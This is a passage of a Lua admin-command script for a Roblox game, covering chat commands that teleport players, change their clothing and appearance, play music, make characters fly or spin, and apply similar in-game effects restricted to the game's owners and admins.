  4324. if msg:lower():sub(1,6) == "place " then
  4325. local chk1 = msg:lower():sub(7):find(" ") + 6
  4326. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4327. for i, v in pairs(plrz) do
  4328. coroutine.resume(coroutine.create(function()
  4329. if v and v:findFirstChild("PlayerGui") then
  4330. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  4331. end
  4332. end))
  4333. end
  4334. end
  4335.  
  4336. if msg:lower():sub(1,3) == "tp " then
  4337. local chk1 = msg:lower():sub(4):find(" ") + 3
  4338. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  4339. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  4340. for i, v in pairs(plrz) do
  4341. coroutine.resume(coroutine.create(function()
  4342. for i2, v2 in pairs(plrz2) do
  4343. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  4344. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  4345. end
  4346. end
  4347. end))
  4348. end
  4349. end
  4350.  
  4351. if msg:lower():sub(1,7) == "change " then
  4352. local chk1 = msg:lower():sub(8):find(" ") + 7
  4353. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  4354. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  4355. for i, v in pairs(plrz) do
  4356. coroutine.resume(coroutine.create(function()
  4357. if v and v:findFirstChild("leaderstats") then
  4358. for a, st in pairs(v.leaderstats:children()) do
  4359. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  4360. end
  4361. end
  4362. end))
  4363. end
  4364. end
  4365.  
  4366. if msg:lower():sub(1,6) == "shirt " then
  4367. local chk1 = msg:lower():sub(7):find(" ") + 6
  4368. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4369. for i, v in pairs(plrz) do
  4370. coroutine.resume(coroutine.create(function()
  4371. if v and v.Character then
  4372. for i,v in pairs(v.Character:children()) do
  4373. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  4374. end
  4375. end
  4376. end))
  4377. end
  4378. end
  4379.  
  4380. if msg:lower():sub(1,6) == "pants " then
  4381. local chk1 = msg:lower():sub(7):find(" ") + 6
  4382. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4383. for i, v in pairs(plrz) do
  4384. coroutine.resume(coroutine.create(function()
  4385. if v and v.Character then
  4386. for i,v in pairs(v.Character:children()) do
  4387. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  4388. end
  4389. end
  4390. end))
  4391. end
  4392. end
  4393.  
  4394. if msg:lower():sub(1,5) == "face " then
  4395. local chk1 = msg:lower():sub(6):find(" ") + 5
  4396. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4397. for i, v in pairs(plrz) do
  4398. coroutine.resume(coroutine.create(function()
  4399. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  4400. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  4401. end
  4402. end))
  4403. end
  4404. end
  4405.  
  4406. ---------------------
  4407. -- FunCommands --
  4408. ---------------------
  4409. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  4410.  
  4411. if msg:lower():sub(1,8) == "swagify " then
  4412. local plrz = GetPlr(plr, msg:lower():sub(9))
  4413. for i, v in pairs(plrz) do
  4414. coroutine.resume(coroutine.create(function()
  4415. if v and v.Character then
  4416. for i,v in pairs(v.Character:children()) do
  4417. if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  4418. if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
  4419. end
  4420. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  4421. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  4422. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  4423. local torso = plr.Character.Torso
  4424. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  4425. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
  4426. p.Size = Vector3.new(.2,.2,.2)
  4427. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  4428. local motor1 = Instance.new("Motor", p)
  4429. motor1.Part0 = p
  4430. motor1.Part1 = torso
  4431. motor1.MaxVelocity = .01
  4432. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  4433. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  4434. local wave = false
  4435. repeat wait(1/44)
  4436. local ang = 0.1
  4437. local oldmag = torso.Velocity.magnitude
  4438. local mv = .002
  4439. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  4440. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  4441. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  4442. motor1.DesiredAngle = -ang
  4443. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  4444. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  4445. if torso.Velocity.magnitude < .1 then wait(.1) end
  4446. until not p or p.Parent ~= torso.Parent
  4447. script:Destroy()
  4448. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  4449. end
  4450. end))
  4451. end
  4452. end
  4453.  
  4454. if msg:lower():sub(1,6) == "music " then
  4455. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  4456. local id = msg:sub(7)
  4457. local pitch = 1
  4458. if tostring(id):lower():find("caramell") then id = 2303479 end
  4459. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  4460. if tostring(id):find("rick") then id = 2027611 end
  4461. if tostring(id):find("halo") then id = 1034065 end
  4462. if tostring(id):find("pokemon") then id = 1372261 end
  4463. if tostring(id):find("cursed") then id = 1372257 end
  4464. if tostring(id):find("extreme") then id = 11420933 end
  4465. if tostring(id):find("awaken") then id = 27697277 end
  4466. if tostring(id):find("alone") then id = 27697392 end
  4467. if tostring(id):find("mario") then id = 1280470 end
  4468. if tostring(id):find("choir") then id = 1372258 end
  4469. if tostring(id):find("chrono") then id = 1280463 end
  4470. if tostring(id):find("dotr") then id = 11420922 end
  4471. if tostring(id):find("entertain") then id = 27697267 end
  4472. if tostring(id):find("fantasy") then id = 1280473 end
  4473. if tostring(id):find("final") then id = 1280414 end
  4474. if tostring(id):find("emblem") then id = 1372259 end
  4475. if tostring(id):find("flight") then id = 27697719 end
  4476. if tostring(id):find("banjo") then id = 27697298 end
  4477. if tostring(id):find("gothic") then id = 27697743 end
  4478. if tostring(id):find("hiphop") then id = 27697735 end
  4479. if tostring(id):find("intro") then id = 27697707 end
  4480. if tostring(id):find("mule") then id = 1077604 end
  4481. if tostring(id):find("film") then id = 27697713 end
  4482. if tostring(id):find("nezz") then id = 8610025 end
  4483. if tostring(id):find("angel") then id = 1372260 end
  4484. if tostring(id):find("resist") then id = 27697234 end
  4485. if tostring(id):find("schala") then id = 5985787 end
  4486. if tostring(id):find("organ") then id = 11231513 end
  4487. if tostring(id):find("tunnel") then id = 9650822 end
  4488. if tostring(id):find("spanish") then id = 5982975 end
  4489. if tostring(id):find("venom") then id = 1372262 end
  4490. if tostring(id):find("wind") then id = 1015394 end
  4491. if tostring(id):find("guitar") then id = 5986151 end
  4492. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  4493. end
  4494.  
  4495. if msg:lower() == "stopmusic" then
  4496. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  4497. end
  4498.  
  4499. if msg:lower() == "musiclist" then
  4500. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  4501. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  4502. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  4503. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  4504. end
  4505.  
  4506. if msg:lower():sub(1,4) == "fly " then
  4507. local plrz = GetPlr(plr, msg:lower():sub(5))
  4508. for i, v in pairs(plrz) do
  4509. coroutine.resume(coroutine.create(function()
  4510. if v and v:findFirstChild("PlayerGui") then
  4511. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  4512. local mouse = game.Players.LocalPlayer:GetMouse()
  4513. repeat wait() until mouse
  4514. local plr = game.Players.LocalPlayer
  4515. local torso = plr.Character.Torso
  4516. local flying = true
  4517. local deb = true
  4518. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  4519. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  4520. local maxspeed = 50
  4521. local speed = 0
  4522. function Fly()
  4523. local bg = Instance.new("BodyGyro", torso)
  4524. bg.P = 9e4
  4525. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  4526. bg.cframe = torso.CFrame
  4527. local bv = Instance.new("BodyVelocity", torso)
  4528. bv.velocity = Vector3.new(0,0.1,0)
  4529. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  4530. repeat wait()
  4531. plr.Character.Humanoid.PlatformStand = true
  4532. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  4533. speed = speed+.5+(speed/maxspeed)
  4534. if speed > maxspeed then
  4535. speed = maxspeed
  4536. end
  4537. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  4538. speed = speed-1
  4539. if speed < 0 then
  4540. speed = 0
  4541. end
  4542. end
  4543. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  4544. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  4545. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  4546. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  4547. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  4548. else
  4549. bv.velocity = Vector3.new(0,0.1,0)
  4550. end
  4551. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  4552. until not flying
  4553. ctrl = {f = 0, b = 0, l = 0, r = 0}
  4554. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  4555. speed = 0
  4556. bg:Destroy()
  4557. bv:Destroy()
  4558. plr.Character.Humanoid.PlatformStand = false
  4559. end
  4560. mouse.KeyDown:connect(function(key)
  4561. if key:lower() == "e" then
  4562. if flying then flying = false
  4563. else
  4564. flying = true
  4565. Fly()
  4566. end
  4567. elseif key:lower() == "w" then
  4568. ctrl.f = 1
  4569. elseif key:lower() == "s" then
  4570. ctrl.b = -1
  4571. elseif key:lower() == "a" then
  4572. ctrl.l = -1
  4573. elseif key:lower() == "d" then
  4574. ctrl.r = 1
  4575. end
  4576. end)
  4577. mouse.KeyUp:connect(function(key)
  4578. if key:lower() == "w" then
  4579. ctrl.f = 0
  4580. elseif key:lower() == "s" then
  4581. ctrl.b = 0
  4582. elseif key:lower() == "a" then
  4583. ctrl.l = 0
  4584. elseif key:lower() == "d" then
  4585. ctrl.r = 0
  4586. end
  4587. end)
  4588. Fly()]]
  4589. cl.Parent = v.PlayerGui cl.Disabled = false
  4590. end
  4591. end))
  4592. end
  4593. end
  4594.  
  4595. if msg:lower():sub(1,6) == "unfly " then
  4596. local plrz = GetPlr(plr, msg:lower():sub(7))
  4597. for i, v in pairs(plrz) do
  4598. coroutine.resume(coroutine.create(function()
  4599. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4600. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  4601. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  4602. wait(.1) v.Character.Humanoid.PlatformStand = false
  4603. end
  4604. end))
  4605. end
  4606. end
  4607.  
  4608. if msg:lower() == "disco" then
  4609. for i, v in pairs(lobjs) do v:Destroy() end
  4610. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
  4611. game.Lighting.Ambient = color
  4612. game.Lighting.FogColor = color
  4613. until nil]]
  4614. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  4615. end
  4616.  
  4617. if msg:lower() == "flash" then
  4618. for i, v in pairs(lobjs) do v:Destroy() end
  4619. local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1)
  4620. game.Lighting.Ambient = Color3.new(1,1,1)
  4621. game.Lighting.FogColor = Color3.new(1,1,1)
  4622. game.Lighting.Brightness = 1
  4623. game.Lighting.TimeOfDay = 14
  4624. wait(.1)
  4625. game.Lighting.Ambient = Color3.new(0,0,0)
  4626. game.Lighting.FogColor = Color3.new(0,0,0)
  4627. game.Lighting.Brightness = 0
  4628. game.Lighting.TimeOfDay = 0
  4629. until nil]]
  4630. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  4631. end
  4632.  
  4633. if msg:lower():sub(1,5) == "spin " then
  4634. local plrz = GetPlr(plr, msg:lower():sub(6))
  4635. for i, v in pairs(plrz) do
  4636. coroutine.resume(coroutine.create(function()
  4637. if v and v.Character and v.Character:findFirstChild("Torso") then
  4638. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  4639. local torso = v.Character:findFirstChild("Torso")
  4640. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  4641. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  4642. until not bg or bg.Parent ~= torso
  4643. end
  4644. end))
  4645. end
  4646. end
  4647.  
  4648. if msg:lower():sub(1,7) == "unspin " then
  4649. local plrz = GetPlr(plr, msg:lower():sub(8))
  4650. for i, v in pairs(plrz) do
  4651. coroutine.resume(coroutine.create(function()
  4652. if v and v.Character and v.Character:findFirstChild("Torso") then
  4653. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  4654. end
  4655. end))
  4656. end
  4657. end
  4658.  
  4659. if msg:lower():sub(1,4) == "dog " then
  4660. local plrz = GetPlr(plr, msg:lower():sub(5))
  4661. for i, v in pairs(plrz) do
  4662. coroutine.resume(coroutine.create(function()
  4663. if v and v.Character and v.Character:findFirstChild("Torso") then
  4664. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4665. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4666. v.Character.Torso.Transparency = 1
  4667. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4668. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  4669. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  4670. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  4671. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  4672. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  4673. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  4674. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  4675. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  4676. end
  4677. end))
  4678. end
  4679. end
  4680.  
  4681. if msg:lower():sub(1,6) == "undog " then
  4682. local plrz = GetPlr(plr, msg:lower():sub(7))
  4683. for i, v in pairs(plrz) do
  4684. coroutine.resume(coroutine.create(function()
  4685. if v and v.Character and v.Character:findFirstChild("Torso") then
  4686. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4687. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4688. v.Character.Torso.Transparency = 0
  4689. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4690. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4691. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4692. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4693. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4694. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  4695. end
  4696. end))
  4697. end
  4698. end
  4699.  
  4700. if msg:lower():sub(1,8) == "creeper " then
  4701. local plrz = GetPlr(plr, msg:lower():sub(9))
  4702. for i, v in pairs(plrz) do
  4703. coroutine.resume(coroutine.create(function()
  4704. if v and v.Character and v.Character:findFirstChild("Torso") then
  4705. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4706. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4707. v.Character.Torso.Transparency = 0
  4708. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4709. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  4710. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  4711. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  4712. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  4713. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  4714. end
  4715. end))
  4716. end
  4717. end
  4718.  
  4719. if msg:lower():sub(1,10) == "uncreeper " then
  4720. local plrz = GetPlr(plr, msg:lower():sub(11))
  4721. for i, v in pairs(plrz) do
  4722. coroutine.resume(coroutine.create(function()
  4723. if v and v.Character and v.Character:findFirstChild("Torso") then
  4724. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  4725. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  4726. v.Character.Torso.Transparency = 0
  4727. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  4728. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  4729. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  4730. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  4731. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  4732. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  4733. end
  4734. end))
  4735. end
  4736. end
  4737.  
  4738. if msg:lower():sub(1,8) == "bighead " then
  4739. local plrz = GetPlr(plr, msg:lower():sub(9))
  4740. for i, v in pairs(plrz) do
  4741. coroutine.resume(coroutine.create(function()
  4742. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  4743. end))
  4744. end
  4745. end
  4746.  
  4747. if msg:lower():sub(1,9) == "minihead " then
  4748. local plrz = GetPlr(plr, msg:lower():sub(10))
  4749. for i, v in pairs(plrz) do
  4750. coroutine.resume(coroutine.create(function()
  4751. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  4752. end))
  4753. end
  4754. end
  4755.  
  4756. if msg:lower():sub(1,6) == "fling " then
  4757. local plrz = GetPlr(plr, msg:lower():sub(7))
  4758. for i, v in pairs(plrz) do
  4759. coroutine.resume(coroutine.create(function()
  4760. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  4761. local xran local zran
  4762. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  4763. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  4764. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  4765. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  4766. end
  4767. end))
  4768. end
  4769. end
  4770.  
  4771. if msg:lower():sub(1,8) == "seizure " then
  4772. local plrz = GetPlr(plr, msg:lower():sub(9))
  4773. for i, v in pairs(plrz) do
  4774. coroutine.resume(coroutine.create(function()
  4775. if v and v.Character then
  4776. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  4777. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  4778. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  4779. end
  4780. end))
  4781. end
  4782. end
  4783.  
  4784. if msg:lower():sub(1,10) == "unseizure " then
  4785. local plrz = GetPlr(plr, msg:lower():sub(11))
  4786. for i, v in pairs(plrz) do
  4787. coroutine.resume(coroutine.create(function()
  4788. if v and v.Character then
  4789. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  4790. wait(.1) v.Character.Humanoid.PlatformStand = false
  4791. end
  4792. end))
  4793. end
  4794. end
  4795.  
  4796. if msg:lower():sub(1,12) == "removelimbs " then
  4797. local plrz = GetPlr(plr, msg:lower():sub(13))
  4798. for i, v in pairs(plrz) do
  4799. coroutine.resume(coroutine.create(function()
  4800. if v and v.Character then
  4801. for a, obj in pairs(v.Character:children()) do
  4802. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  4803. end
  4804. end
  4805. end))
  4806. end
  4807. end
  4808.  
  4809. if msg:lower():sub(1,5) == "name " then
  4810. local chk1 = msg:lower():sub(6):find(" ") + 5
  4811. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4812. for i, v in pairs(plrz) do
  4813. coroutine.resume(coroutine.create(function()
  4814. if v and v.Character and v.Character:findFirstChild("Head") then
  4815. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  4816. local char = v.Character
  4817. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  4818. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  4819. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  4820. char.Head.Transparency = 1
  4821. end
  4822. end))
  4823. end
  4824. end
  4825.  
  4826. if msg:lower():sub(1,7) == "unname " then
  4827. local plrz = GetPlr(plr, msg:lower():sub(8))
  4828. for i, v in pairs(plrz) do
  4829. coroutine.resume(coroutine.create(function()
  4830. if v and v.Character and v.Character:findFirstChild("Head") then
  4831. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  4832. end
  4833. end))
  4834. end
  4835. end
  4836.  
  4837. if msg:lower():sub(1,5) == "char " then
  4838. local chk1 = msg:lower():sub(6):find(" ") + 5
  4839. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4840. for i, v in pairs(plrz) do
  4841. coroutine.resume(coroutine.create(function()
  4842. if v and v.Character then
  4843. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  4844. v:LoadCharacter()
  4845. end
  4846. end))
  4847. end
  4848. end
  4849.  
  4850. if msg:lower():sub(1,7) == "unchar " then
  4851. local plrz = GetPlr(plr, msg:lower():sub(8))
  4852. for i, v in pairs(plrz) do
  4853. coroutine.resume(coroutine.create(function()
  4854. if v and v.Character then
  4855. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  4856. v:LoadCharacter()
  4857. end
  4858. end))
  4859. end
  4860. end
  4861.  
  4862. if msg:lower():sub(1,7) == "infect " then
  4863. local plrz = GetPlr(plr, msg:lower():sub(8))
  4864. for i, v in pairs(plrz) do
  4865. coroutine.resume(coroutine.create(function()
  4866. if v and v.Character then
  4867. Infect(v.Character)
  4868. end
  4869. end))
  4870. end
  4871. end
  4872.  
  4873. if msg:lower():sub(1,11) == "rainbowify " then
  4874. local plrz = GetPlr(plr, msg:lower():sub(12))
  4875. for i, v in pairs(plrz) do
  4876. coroutine.resume(coroutine.create(function()
  4877. if v and v.Character and v.Character:findFirstChild("Torso") then
  4878. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  4879. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  4880. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  4881. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  4882. cl.Parent = v.Character cl.Disabled = false
